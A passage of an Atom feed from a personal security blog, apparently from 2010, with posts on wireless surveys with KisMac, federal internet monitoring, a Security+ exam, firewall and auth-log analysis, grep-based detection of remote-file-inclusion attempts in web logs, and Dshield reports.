scheme='http://www.blogger.com/atom/ns#' term='Apple'/><category scheme='http://www.blogger.com/atom/ns#' term='Zaurus'/><category scheme='http://www.blogger.com/atom/ns#' term='SL5500'/><category scheme='http://www.blogger.com/atom/ns#' term='WPA'/><title type='text'>Kismet for Macs - WEP/WPA/WPA2</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_DYU25XfzLMA/S7Aoo9l-JaI/AAAAAAAAAIU/Yy86BmNrIHs/s1600/kismac_image.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="49" src="http://4.bp.blogspot.com/_DYU25XfzLMA/S7Aoo9l-JaI/AAAAAAAAAIU/Yy86BmNrIHs/s200/kismac_image.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Added &lt;a href="http://trac.kismac-ng.org/"&gt;KisMac&lt;/a&gt; to my Macbook.&lt;br /&gt;&lt;br /&gt;This software is NICE!!&amp;nbsp; I've used Kismet before (on a Sharp Zaurus SL5500), but the Mac version is VERY nice!&lt;br /&gt;&lt;br /&gt;One disturbing thing (that I should put on my security blog) is that I saw a lot of WAPs in my neighborhood still using WEP.&amp;nbsp; Three of them were Actiontec routers, which show the new rollout of FIOS from Verizon.&amp;nbsp; Mine also shows up, but mine is set to use WPA2.&amp;nbsp; There were maybe 5-6 WAPs using WPA (of maybe 10-12), but I was the ONLY one that I detected that was using WPA2.&amp;nbsp; That's not good, IMO.&lt;br /&gt;&lt;br /&gt;I may take a drive around tomorrow to sample the neighborhood.&amp;nbsp; I'll parse that data and post it on my security blog.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-8471034938124507661?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/8471034938124507661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=8471034938124507661' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8471034938124507661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8471034938124507661'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/03/kismet-for-macs-wepwpawpa2.html' title='Kismet for Macs - WEP/WPA/WPA2'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_DYU25XfzLMA/S7Aoo9l-JaI/AAAAAAAAAIU/Yy86BmNrIHs/s72-c/kismac_image.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-405694367365035355</id><published>2010-03-25T22:35:00.000-04:00</published><updated>2010-03-25T22:35:05.654-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DHS'/><category scheme='http://www.blogger.com/atom/ns#' term='CNET'/><category scheme='http://www.blogger.com/atom/ns#' term='NSA'/><category scheme='http://www.blogger.com/atom/ns#' term='Einstein'/><title type='text'>Feds weigh expansion of Internet monitoring</title><content type='html'>&lt;b&gt;Feds weigh expansion of Internet monitoring&lt;/b&gt;&lt;a href="http://www.blogger.com/goog_1796026597"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://tinyurl.com/ybd23bz"&gt;http://tinyurl.com/ybd23bz&lt;/a&gt; (credit: &lt;a href="http://news.cnet.com/8301-13578_3-10463665-38.html?tag=rtcol"&gt;cnet.com&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;SAN FRANCISCO--&lt;br /&gt;&lt;br /&gt;"Homeland Security and the National Security Agency may be taking a closer look at Internet communications in the future.&lt;br /&gt;&lt;br /&gt;The Department of Homeland Security's top cybersecurity official told CNET on Wednesday that the department may eventually extend its Einstein technology, which is designed to detect and prevent electronic attacks, to networks operated by the private sector. The technology was created for federal networks.&lt;br /&gt;&lt;br /&gt;Not much is known about how Einstein works, and the House Intelligence Committee once &lt;a href="http://intelligence.house.gov/Media/PDFS/IAAFY09.pdf"&gt;charged&lt;/a&gt; that descriptions were overly "vague" because of "excessive classification." The White House &lt;a href="http://news.cnet.com/8301-13578_3-10462563-38.html"&gt;did confirm&lt;/a&gt; this week that the latest version, called Einstein 3, involves attempting to thwart in-progress cyberattacks by sharing information with the National Security Agency.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;Greater federal involvement in privately operated networks may spark privacy or surveillance concerns, not least because of the NSA's central involvement in the Bush administration's warrantless wiretapping scandal. Earlier &lt;a href="http://online.wsj.com/article/SB124657680388089139.html#printMode"&gt;reports&lt;/a&gt; have said that Einstein 3 has the ability to read the content of emails and other messages, and that AT&amp;amp;T has been asked to test the system. (The Obama administration says the "contents" of communications are not shared with the NSA.)"&lt;br /&gt;&lt;br /&gt;Read more by clicking the link at the top of this section&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-405694367365035355?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/405694367365035355/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=405694367365035355' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/405694367365035355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/405694367365035355'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/03/feds-weigh-expansion-of-internet.html' title='Feds weigh expansion of Internet monitoring'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-1250181207568633862</id><published>2010-03-03T22:52:00.002-05:00</published><updated>2010-05-05T13:49:20.801-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CompTIA'/><category scheme='http://www.blogger.com/atom/ns#' term='security+'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>I passed my Security+ certification Exam!</title><content type='html'>&lt;div style="text-align: center;"&gt;&amp;nbsp;&lt;img alt="http://www.pwcrack.com/security+.jpg" height="150" src="http://www.pwcrack.com/security+.jpg" width="200" /&gt;&lt;/div&gt;&lt;br /&gt;I passed my Security+ exam!&amp;nbsp; This certification is needed for a work client (a requirement to access their systems).&amp;nbsp; This is a big deal to me, as I'd been studying awhile for it and the deadline for completion was next week.&lt;br /&gt;&lt;br /&gt;I don't believe in certifications (I feel strongly that they aren't needed), but this is a first for me.&lt;br /&gt;&lt;br /&gt;I'm so glad it is over!&amp;nbsp; Now its reimbursement time! :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-1250181207568633862?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/1250181207568633862/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=1250181207568633862' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1250181207568633862'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1250181207568633862'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/03/i-passed-my-security-certification-exam.html' title='I passed my Security+ certification Exam!'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2745550602549715467</id><published>2010-02-25T23:38:00.003-05:00</published><updated>2010-05-05T13:50:25.883-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><category scheme='http://www.blogger.com/atom/ns#' term='sensor'/><title type='text'>Aggressive Scanner hitting wigglit.ath.cx</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;img height="135" id="ipfUehU9IPhIUemuM:" src="http://t0.gstatic.com/images?q=tbn:UehU9IPhIUemuM:http://www.watblog.com/wp-content/uploads/2009/08/do-not-enter.png" style="border: 1px solid; vertical-align: bottom;" width="135" /&gt; &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;A picture is worth a thousand words:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_DYU25XfzLMA/S4dPZPPXVVI/AAAAAAAAAHw/KRzDvn0-Jcs/s1600-h/attacker-02242010.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_DYU25XfzLMA/S4dPZPPXVVI/AAAAAAAAAHw/KRzDvn0-Jcs/s320/attacker-02242010.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;I blocked him/her last night.&amp;nbsp; He/she hit again early this morning, but got rejected (not blocked).&amp;nbsp; My sensor will log even if the attacks don't pass (picture it as an external IDS, although it really isn't).&amp;nbsp; I sooo wish I messed with tarpits.&amp;nbsp; I could rate-limit, though.&amp;nbsp; I'll think about that.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;UPDATE:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://www.trustedsource.org/TS?do=feedback&amp;amp;subdo=query&amp;amp;q=69.72.77.154"&gt;TrustedSource&lt;/a&gt;&lt;br /&gt;&lt;a href="http://mynetwatchman.com/LID.asp?IID=47214511"&gt;myNetWatchman&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2745550602549715467?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2745550602549715467/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2745550602549715467' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2745550602549715467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2745550602549715467'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/02/aggressive-scanner-hitting-wigglitathcx.html' title='Aggressive Scanner hitting wigglit.ath.cx'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DYU25XfzLMA/S4dPZPPXVVI/AAAAAAAAAHw/KRzDvn0-Jcs/s72-c/attacker-02242010.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-7603934958859263005</id><published>2010-02-14T01:52:00.004-05:00</published><updated>2010-02-14T02:15:19.951-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pf'/><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='distributed brute force'/><category scheme='http://www.blogger.com/atom/ns#' term='auth.log'/><title type='text'>Playing with the logs again</title><content type='html'>So, I've some logging going on.  I typically look at my auth logs and my FW logs that reside within /var/log.  I also archive my bruteforce blocking FW table (PF), as the table dumps when I reboot or when the system loses power.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I consolidated these logs into one massive file (333,603 IPs).  Yes, there are probably many repeat IPs, but that's OK.  Several (26 of them, consisting of two unique IPs) are when I accidentally blocked myself.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I took the resulting file and did this:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;cat top10_1.txt | sort | uniq -c | sort -rn&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;which resulted in &lt;a href="http://wigglit.ath.cx/txt/2.14.2010_logparse.txt"&gt;this&lt;/a&gt; file.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The IPs with a count of '238' are obviously part of a distributed brute forcing botnet...its intriguing the way it is depicted within this hack's output.  Also, the actual number of unique IPs recorded is 2377.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now, maybe I should script something to provide me something like this on a daily basis...meaning, I'd like to see only that day's activity (right now, I'm crunching logs from at least a year back).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Also, this is from my FreeBSD machine, which runs PF, has port 22 open to the world (locked down service, though), has port 3306 open, and is my security box.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-7603934958859263005?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/7603934958859263005/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=7603934958859263005' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7603934958859263005'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7603934958859263005'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/02/playing-with-logs-again.html' title='Playing with the logs again'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-7477464225350131663</id><published>2010-01-30T12:16:00.004-05:00</published><updated>2010-01-30T12:43:53.618-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SANS'/><category scheme='http://www.blogger.com/atom/ns#' term='access.log'/><category scheme='http://www.blogger.com/atom/ns#' term='RFI'/><category scheme='http://www.blogger.com/atom/ns#' term='remote file inclusion'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><title type='text'>SANS Article -- Weathering the Storm Part 2</title><content type='html'>Weathering the Storm Part 2 @ &lt;a href="http://blogs.sans.org/appsecstreetfighter/2010/01/29/weathering-the-storm-part-2-a-day-of-weblogs-at-the-internet-storm-center/"&gt;http://blogs.sans.org/appsecstreetfighter/2010/01/29/weathering-the-storm-part-2-a-day-of-weblogs-at-the-internet-storm-center/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is pretty cool.  This article describes how to parse web server logs for RFI (remote file inclusion).  It actually pinpoints the URLs that contain the malicious code.&lt;br /&gt;&lt;br /&gt;At first I had an issue in following the logic of the write-up, but when I looked at the scripting, I edited it slightly and used the following:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;cat access_log | cut -f2 -d'"' access_log*  | grep '=http' | grep -v 'utmr=http' | sed 's/.*=http/http/' | uniq -c | sort -rn &gt; /root/WTSP2.txt&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Yeah, I unzipped the .gz files so that I could have the script parse ALL of the access logs.  The result is &lt;a href="http://wigglit.ath.cx/log_parse_results/WTSP2.txt"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For people who want to perform forensics on these URLs, have at it but note that some of the links may be old and may no longer exist (or may be blocked or purposely taken down).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-7477464225350131663?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/7477464225350131663/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=7477464225350131663' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7477464225350131663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7477464225350131663'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/01/sans-article-weathering-storm-part-2.html' title='SANS Article -- Weathering the Storm Part 2'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2544894781254670395</id><published>2010-01-17T16:52:00.002-05:00</published><updated>2010-01-17T17:03:09.165-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dshield'/><category scheme='http://www.blogger.com/atom/ns#' term='logs'/><category scheme='http://www.blogger.com/atom/ns#' term='Amazon'/><category scheme='http://www.blogger.com/atom/ns#' term='AWS'/><title type='text'>Dshield Results From Log Donations</title><content type='html'>So, every day I submit logs to &lt;a href="http://www.dshield.org/"&gt;Dshield&lt;/a&gt;, I get a report from them with a breakdown of the submitted logs.&lt;br /&gt;&lt;br /&gt;Here's an example:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For 2010-01-15 you submitted 496 packets from 136 sources hitting 2 targets.&lt;br /&gt;&lt;br /&gt;Port Summary&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt;Port  |  Packets  |  Sources  |  Targets  |      Service       |  Name&lt;br /&gt;------+-----------+-----------+-----------+--------------------+-------------&lt;br /&gt; 445 |        63 |        17 |         2 |       microsoft-ds | Win2k+ Server Message Block&lt;br /&gt; 5900 |        31 |        15 |         2 |                vnc | Virtual Network Computer&lt;br /&gt; 135 |        46 |        14 |         2 |              epmap | DCE endpoint resolution&lt;br /&gt; 1080 |       162 |        13 |         2 |              socks | Proxy Server&lt;br /&gt;  22 |        19 |        12 |         2 |                ssh | SSH Remote Login Protocol&lt;br /&gt;  23 |         9 |         9 |         2 |             telnet |&lt;br /&gt; 1433 |        12 |         9 |         2 |           ms-sql-s | Microsoft-SQL-Server&lt;br /&gt; 3389 |        11 |         7 |         2 |   ms-term-services | MS Terminal Services&lt;br /&gt; 3072 |        12 |         6 |         1 |        csd-monitor | ContinuStor Monitor Port&lt;br /&gt; 4899 |         7 |         5 |         2 |             radmin | Remote Administrator default port&lt;br /&gt;  25 |        20 |         5 |         2 |               smtp | Simple Mail Transfer&lt;br /&gt; 3128 |        13 |         5 |         2 |         squid-http | Proxy Server&lt;br /&gt; 8000 |        10 |         5 |         2 |              irdmi | iRDMI&lt;br /&gt; 8080 |         7 |         4 |         2 |           http-alt | HTTP Alternate (see port 80)&lt;br /&gt; 139 |         7 |         3 |         2 |        netbios-ssn | NETBIOS Session Service&lt;br /&gt; 7212 |         7 |         3 |         2 |                    |&lt;br /&gt;  21 |         5 |         3 |         1 |                ftp | File Transfer [Control]&lt;br /&gt;  80 |         6 |         2 |         1 |                www | World Wide Web HTTP&lt;br /&gt; 2967 |         2 |         2 |         1 |          ssc-agent | Symantec System Center&lt;br /&gt; 1024 |         6 |         2 |         1 |                    |&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Port Scanners&lt;br /&gt;=============&lt;br /&gt;&lt;br /&gt;   source     | Ports Scanned | Host Name&lt;br /&gt;---------------+---------------+------------&lt;br /&gt; 173.192.192.92|          10   | 173.192.192.92-static.reverse.softlayer.com&lt;br /&gt; 221.192.199.35|           6   |&lt;br /&gt; 78.159.112.84|           5   |&lt;br /&gt; 77.223.143.18|           4   | 77-223-143-18.netdirekt.com.tr&lt;br /&gt; 222.215.230.49|           4   |&lt;br /&gt; 205.209.161.68|           3   |&lt;br /&gt; 67.51.137.218|           2   |&lt;br /&gt; 173.66.248.120|           2   | auth03.cs.net&lt;br /&gt;188.132.196.173|           2   | datacenter-173-196-132-188.sadecehosting.net&lt;br /&gt; 68.237.174.120|           2   | static-68-237-174-120.lsanca.fios.verizon.net&lt;br /&gt;206.217.205.170|           2   | noptr.midphase.com&lt;br /&gt; 66.159.229.149|           2   | netblock-66-159-229-149.dslextreme.com&lt;br /&gt;222.208.183.218|           2   |&lt;br /&gt;  66.160.182.5|           2   | system-5.squaw.com&lt;br /&gt;   64.38.82.20|           2   |&lt;br /&gt;174.129.185.251|           2   | ec2-174-129-185-251.compute-1.amazonaws.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Source Summary&lt;br /&gt;==============&lt;br /&gt;&lt;br /&gt;   source     | hostname  |packets|targets| all pkts | all trgs | first seen&lt;br /&gt;---------------+-----------+-------+-------+----------+----------+-----------&lt;br /&gt;  66.160.182.5|5.squaw.com|    54 |     1 |      143 |       66 | 01-08-2010&lt;br /&gt;  79.125.50.62|azonaws.com|    33 |     1 |    14083 |       94 | 01-11-2010&lt;br /&gt; 79.125.39.245|azonaws.com|    27 |     1 |     5974 |       92 | 01-11-2010&lt;br /&gt; 174.129.93.137|azonaws.com|    27 |     1 |    16623 |      102 | 01-06-2010&lt;br /&gt;174.129.161.206|azonaws.com|    21 |     1 |     8258 |       99 | 01-11-2010&lt;br /&gt;174.129.137.234|azonaws.com|    15 |     1 |     2328 |       90 | 01-14-2010&lt;br /&gt; 221.192.199.35|           |    13 |     1 |    63162 |     2825 | 01-05-2010&lt;br /&gt;  79.125.44.37|azonaws.com|    12 |     1 |     6155 |       88 | 01-12-2010&lt;br /&gt; 173.192.192.92|ftlayer.com|    10 |     1 |   287815 |    25717 | 12-31-2009&lt;br /&gt; 222.215.230.49|           |     9 |     2 |   225112 |     6288 | 05-28-2008&lt;br /&gt; 79.125.32.165|azonaws.com|     9 |     1 |     2346 |       89 | 01-14-2010&lt;br /&gt; 94.59.233.125|           |     7 |     1 |       29 |       13 | 01-15-2010&lt;br /&gt; 77.223.143.18|rekt.com.tr|     7 |     1 |   120123 |    20906 | 12-28-2009&lt;br /&gt; 78.159.112.84|           |     6 |     1 |     7356 |     3206 | 01-15-2010&lt;br /&gt;188.132.196.173|hosting.net|     6 |     1 |     2606 |     1735 | 01-13-2010&lt;br /&gt;118.161.243.145|c.hinet.net|     6 |     1 |       54 |        8 | 01-15-2010&lt;br /&gt;   64.38.82.20|           |     5 |     1 |      894 |      446 | 01-15-2010&lt;br /&gt; 205.209.161.68|           |     5 |     1 |      278 |      245 | 01-15-2010&lt;br /&gt;204.236.194.181|azonaws.com|     5 |     1 |     8563 |       95 | 01-10-2010&lt;br /&gt;204.236.244.234|azonaws.com|     4 |     1 |    10215 |      155 | 01-05-2010&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;All of this is valuable, and I can sometimes tune the IDS and FW based on the findings of these reports.  There are other freeware tools that can do this type of data crunching, but I like the fact that if I'm donating logs, I'm getting a analysis report in return.&lt;br /&gt;&lt;br /&gt;Now, the concern is that there's a lot of source IPs that appear to be owned by Amazon (Amazon Web Services).  I'm hoping that most of these aren't EC2 hosts.  If so, that indicates that Amazon has a security or abuse issue (or a combination of both).  I'm hesitant to mention this to ISC since this may well be a trivial concern for them.  Regardless of perception, I still believe this is more than likely an issue that should be pursued.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2544894781254670395?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2544894781254670395/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2544894781254670395' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2544894781254670395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2544894781254670395'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/01/dshield-results-from-log-donations.html' title='Dshield Results From Log Donations'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-7708769770431265009</id><published>2010-01-14T13:02:00.003-05:00</published><updated>2010-01-14T13:08:28.552-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dshield'/><category scheme='http://www.blogger.com/atom/ns#' term='Verizon'/><category scheme='http://www.blogger.com/atom/ns#' term='FiOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Comcast'/><category scheme='http://www.blogger.com/atom/ns#' term='Direct TV'/><title type='text'>Dshield; Verizon FiOS</title><content type='html'>I've finally got this running.&lt;br /&gt;&lt;br /&gt;I spent a bit of time with it last night and found that the dshield.cnf file had some errors.&lt;br /&gt;&lt;br /&gt;I still need to tune it, though, because the script is reporting non-malicious web traffic to Dshield...I'll need to exclude all non-attacks and non-probes.&lt;br /&gt;&lt;br /&gt;On another note, I'm at home today since we're getting FiOS installed.  This service will replace Direct TV and Comcast.  I'm looking forward to a dedicated internet connection.  I'll be getting the 25/15 (down/up) internet pipe (YES) and two DVRs (I hope to replace the circa-2003 Tivo soon, with something better).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-7708769770431265009?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/7708769770431265009/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=7708769770431265009' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7708769770431265009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7708769770431265009'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/01/dshield-verizon-fios.html' title='Dshield; Verizon FiOS'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-6151163514609107484</id><published>2010-01-11T22:33:00.005-05:00</published><updated>2010-01-11T22:57:11.660-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ISC'/><category scheme='http://www.blogger.com/atom/ns#' term='source port 6000'/><category scheme='http://www.blogger.com/atom/ns#' term='sniffing'/><category scheme='http://www.blogger.com/atom/ns#' term='tcpdump'/><title type='text'>What's Up With All The Port Scanning Using TCP/6000 As A Source Port?</title><content type='html'>&lt;a href=" http://tinyurl.com/y954j7p"&gt;&lt;br /&gt;What's Up With All The Port Scanning Using TCP/6000 As A Source Port? &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Yeah, this is from ISC.  I've been noticing this for awhile, but I thought it was just noise.  Apparently, others noticed it too.  Here's what I have (example snippet):&lt;br 